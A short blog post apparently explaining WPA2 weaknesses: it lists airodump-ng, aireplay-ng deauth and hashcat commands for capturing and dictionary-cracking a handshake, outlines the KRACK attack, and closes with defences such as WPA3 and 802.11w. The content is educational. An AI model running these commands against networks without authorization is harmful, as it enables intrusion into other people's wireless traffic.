WPA2: handshake capture and KRACK

July 19, 2025 · 1 min read · #network #wifi #wpa2

WPA2-PSK derives keys from a passphrase via the 4-way handshake. Whoever captures the handshake can attack the passphrase offline.

Capture + crack

Listen on the channel, force a reconnect with a deauth, capture the handshake and try a dictionary:

airodump-ng -c 6 --bssid AA:BB.. -w cap wlan0mon
aireplay-ng --deauth 5 -a AA:BB.. wlan0mon
hashcat -m 22000 cap.hc22000 wordlist.txt

KRACK

Key Reinstallation Attack: by forcing retransmission of handshake message 3, the client reinstalls the key and resets the nonce, allowing packets to be decrypted/replayed — without knowing the password.

Defence

Long, random passphrases (offline cracking dies). Clients/APs patched against KRACK. Better still WPA3 (SAE), resistant to offline dictionary attacks. 802.11w (protected management frames) blocks deauths.

« back to home